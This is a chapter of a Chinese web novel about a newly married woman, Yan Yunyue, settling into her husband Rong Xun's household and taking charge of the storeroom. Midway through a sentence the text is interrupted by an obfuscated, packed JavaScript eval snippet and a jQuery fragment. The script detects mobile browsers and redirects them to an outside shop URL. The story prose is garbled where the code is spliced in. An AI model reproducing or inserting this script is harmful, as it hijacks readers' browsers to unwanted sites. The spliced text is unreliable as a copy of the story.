燕云悠和宋瑶岑是在一场宴会上相识的。
京都这些权贵常常在宴会上玩飞花令之类的游戏,有时主家发了话,不想玩也不行。
宋瑶岑胆子小,不擅诗文,遇上燕云悠那回被难住了,十分窘迫,是燕云悠替她解的围。
后来每次轮到她时,燕云悠都会悄悄提示。宴会过后,她找上燕云悠道谢,两人自此交上了朋友。
宋瑶岑喜欢制香,手艺很是不错,给燕云悠送了好些香品,燕云悠爱不释手。
宋家家境清寒,燕云悠听闻宋瑶岑有意卖香补贴家里,只是困于没有途径,便收了一些在百宝斋卖,还托班瑛牵线,卖给她保护的那些千金小姐。
两人惺惺相惜,先前燕云悠被指婚容寻后,她也曾去求她兄长帮忙。
不过宋侍郎不敢掺和此事,怕她胡来,将她禁足了。
燕云悠还是大婚前两日,听百宝斋的管事说宋瑶岑好些日子没去送香品了,才得知此事。
今日送请柬过来,想来是被解禁了,担心她,又不敢来将军府,所以请她去宋家。
燕云悠身子酸痛,没有起身,让幼萍帮她写了个回帖,说三日之后登门拜访。
*
另一头,容寻在前院大书房与朱俊、说话。
去年春末凯旋后,他未在京都久留,很快回了驻地。但宣武帝记挂他的婚姻之事,今年中秋前夕又将他召了回来。
眼下此事已了,今日进宫时,他趁着皇后与燕云悠说话,又同皇帝说起回北境之事。
谁知宣武帝还是没答应。
暂时回不去,他驻扎在城外营房的三百精兵还有北境的军务都得再做安排。
容寻和朱俊、余昭交代完,赵嬷嬷又过来了。
“侯爷,圣上赏的那些东西,还有昨日宾客们送的礼都归置好了,这是册子,那些不耐放的东西要怎么处置还得您做主。”
容寻十五岁便承袭了他父亲的侯爵,但因战功显赫,这些年唤他‘将军’的人比叫‘侯爷’的人多。
唯有赵嬷嬷,还是习惯喊他侯爷。
赵嬷嬷将一个厚厚的册子放到容寻面前,容寻看也没看。
“拿去给她,往后这些东西都由她处置,不必再问我。”这个‘她’,自然是指燕云悠。
赵嬷嬷拿起容寻推回来的册子,心里有些意外。
这些年宫中的赏赐源源不断,好些都让容寻卖了补贴他的玄虎军了,这回却要给燕云悠。
她似乎想到了什么,犹豫着看向容寻:“那闫姑娘的事儿,要不要和夫人说清楚?”
容寻默不作声,好一会儿才道:“不必。”
赵嬷嬷点点头,就要转身退下,却被容寻叫住了。
“给她另收拾个住处出来,具体要哪间屋子,让她自己选。”
赵嬷嬷猛地抬起头,她欲言又止,最后还是没敢问,只在心里叹了口气。
“是。”
*
下午燕云悠让江嬷嬷和幼萍她们做了几样好菜,还让卫山去香满楼和醉仙阁买了他们最出名的八宝葫芦鸭、水晶脍、蟹酿橙和荔枝酒,想同容寻献个殷勤,顺便再问问屋子的事儿。
谁知容寻不领情,说不得空,往后也不必等他吃饭。
燕云悠心里骂他不识好歹,倒也没委屈自己。
一桌好菜给卫山几个分了些,其余的她和江嬷嬷等人一起吃了。
江嬷嬷和幼萍幼梨知道自家小姐的性子,也不是第一回和她一起吃饭了,没有推拒。
班瑛开始还有点儿不好意思,吃到后头也忘了那些规矩,最后将燕云悠她们吃不下的几个荤菜全部包圆了。
她比卫山还高些,体型也魁梧,胃口比寻常男子还大些。
燕云悠看着她大快朵颐,摸了摸自己的胳膊,一脸羡慕:“我若是有你这体格就好了。”
*
吃完晚食,赵嬷嬷来了,给燕云悠带了一本礼册和容寻让她选屋子的消息。
这回成亲,将军府收到的东西可不少,光是皇帝赏的便堆满了一间屋子,好些奇珍异宝。
宾客们送的也有不少好东西,燕云悠光看册子都有些眼花缭乱。她靠着百宝斋挣了不少钱,但这里头许多东西是有银子都买不到的。
这样一比,今日皇后赏她的那一匣又大又漂亮的淡粉色南珠都不稀奇了。
“这是库房的钥匙,侯爷说往后由您保管,库房里的东西随您处置。”
赵嬷嬷话音落下,燕云悠又惊又喜,还有些不敢置信,容寻竟如此信得过她?莫不是将东西拿走或掉换了,拿个册子来坑她的吧?
也不知是不是猜到了她的心思,赵嬷嬷下一句话就将她的疑虑堵住了。
“您可以自己去瞧一瞧,也可以派人去清点。”
燕云悠颔首:“好,辛苦嬷嬷了。”
即便赵嬷嬷不说,她也要去的。
礼册的事儿说完了,赵嬷嬷又说起选屋子的事儿。
“正院还有五间厢房空着,不过只有两间是打扫干净的,您可以看看是在这两间里头选一间,还是另外收拾一间出来。”
燕云悠思索了一会儿。
她本是想像从前在伯府一样,让容寻给她腾个单独的院落出来的,可将军府人手不够,连正院的厢房都没全部收拾出来,要重新收拾个院落出来,说不定要等好几日。
这几日里,她还得住在容寻这儿。
而且新婚夫妻直接分院住,传出去只怕会有些闲言碎语。她和容寻毕竟是皇帝指婚,还是得注意些。
动作太大,若是犯了容寻的忌讳,或是引起他的警惕也不好。
燕云悠思来想去,决定暂时现在正院住着。
“我等会儿去瞧一瞧,现在打扫好的屋子里选,不成的话也不劳烦嬷嬷,让我的丫头收拾一间出来便是。”
*
赵嬷嬷走后,燕云悠立刻忍着身子不适出了门。
正院一共六间厢房,其中一间放了她的嫁妆,其余五间都空着。燕云悠都瞧了一遍,最后选了东厢房的一间屋子。
这间屋子是东边最当头的一间,旁边的耳房住着幼萍、幼梨,隔壁就是放她嫁妆的那间,位置十分合
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316459|198932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她心意。
屋子是收拾好的,江嬷嬷又带着人略清扫了一遍,燕云悠便催着她们将她的东西搬过来。
势必要今夜就住进去。
容寻回正院时,她正吃着果子,坐在回廊上看下人忙活。
看见容寻靠近,燕云悠立刻站了起来。她背着手,翘着脚,朝容寻走了几步,笑容温软:“你回来啦?”
她眸光纯澈,昨日的防备几乎消失得无影无踪。
容寻不明白为什么短短两天之内,燕云悠看他的眼神便有了这么大的变化,但也没有探究的意思:“嗯。”
燕云悠又问:“你为何让赵嬷嬷将库房给我保管?”
容寻目光微动。
他早有计划,要把将军府的财物给他未来的妻子,不管那个人是不是他心仪之人。
没有别的原因,只算是一点补偿。
无论是以他的私心,还是朝廷的规矩来看,往后他回北境,他的夫人都是要留在京都的。
他无法给人家正常的婚姻,钱财是他能给的补偿。
燕云悠有些娇气,容寻早有耳闻,今日也见识到了,她正好需要这些东西。
容寻心里这样想,嘴上却道:“主持中馈,本就是你的职责。”语气冰冷。
“哦。”燕云悠脸上的笑立刻淡了许多,她想了想,又瞥了容寻一眼,“那若是我没管好呢?”
容寻面无表情:“随你。”
燕云悠松了口气,看来没给她挖坑。不过保险起见,明日还是得仔细清点几遍。
*
另一头,荣安伯府。
燕从己一回去便去了他爹娘那儿。
“如何?你妹妹可还好?你今日可见着她了?”
“那煞神没对你妹妹动手吧?”
他一进门,卢蔓芳夫妻便焦急地询问。
“没见着人,悠儿今日睡到日上三竿才起来,起来没多久就进宫了。不过应当没事,容寻敢带她进宫,定然是没伤她,而且昨夜班瑛和卫山都守着她,卫山说没听到里头有什么动静。”
燕长瑞长吁一口气:“那就好,那就好!”
卢蔓芳却仍有些不放心:“昨日成亲他都不曾来拜见我和你爹,可见是没把悠儿放在心上。今日要进宫许是克制着,明日还不知如何呢。不行!明日让何管事和班瑛她娘再走一趟吧,就说百宝斋有事需得悠儿做主。”
“对对对!”燕长瑞连声赞道,“还是夫人想得周到。”
一家三口说了会儿话,燕老太爷派人来请,也让燕从己过去。
卢蔓芳夫妻放心不下,也跟着去了,到了那儿一看,果然,长房一家也在。
燕老太爷红光满面:“从己从将军府回来了,怎么样,云悠和孙婿可还好?”
燕从己眼皮直往上翻:“好着呢,一时半会儿死不了。”
“你这孩子怎么同你祖父说话呢!”姜氏嗔怪道。
燕老太爷倒是没计较,还是笑呵呵的:“他们小夫妻好就行,祖父知道你心里还记恨祖父,不过没事,你以后自然会明白祖父的用心良苦。”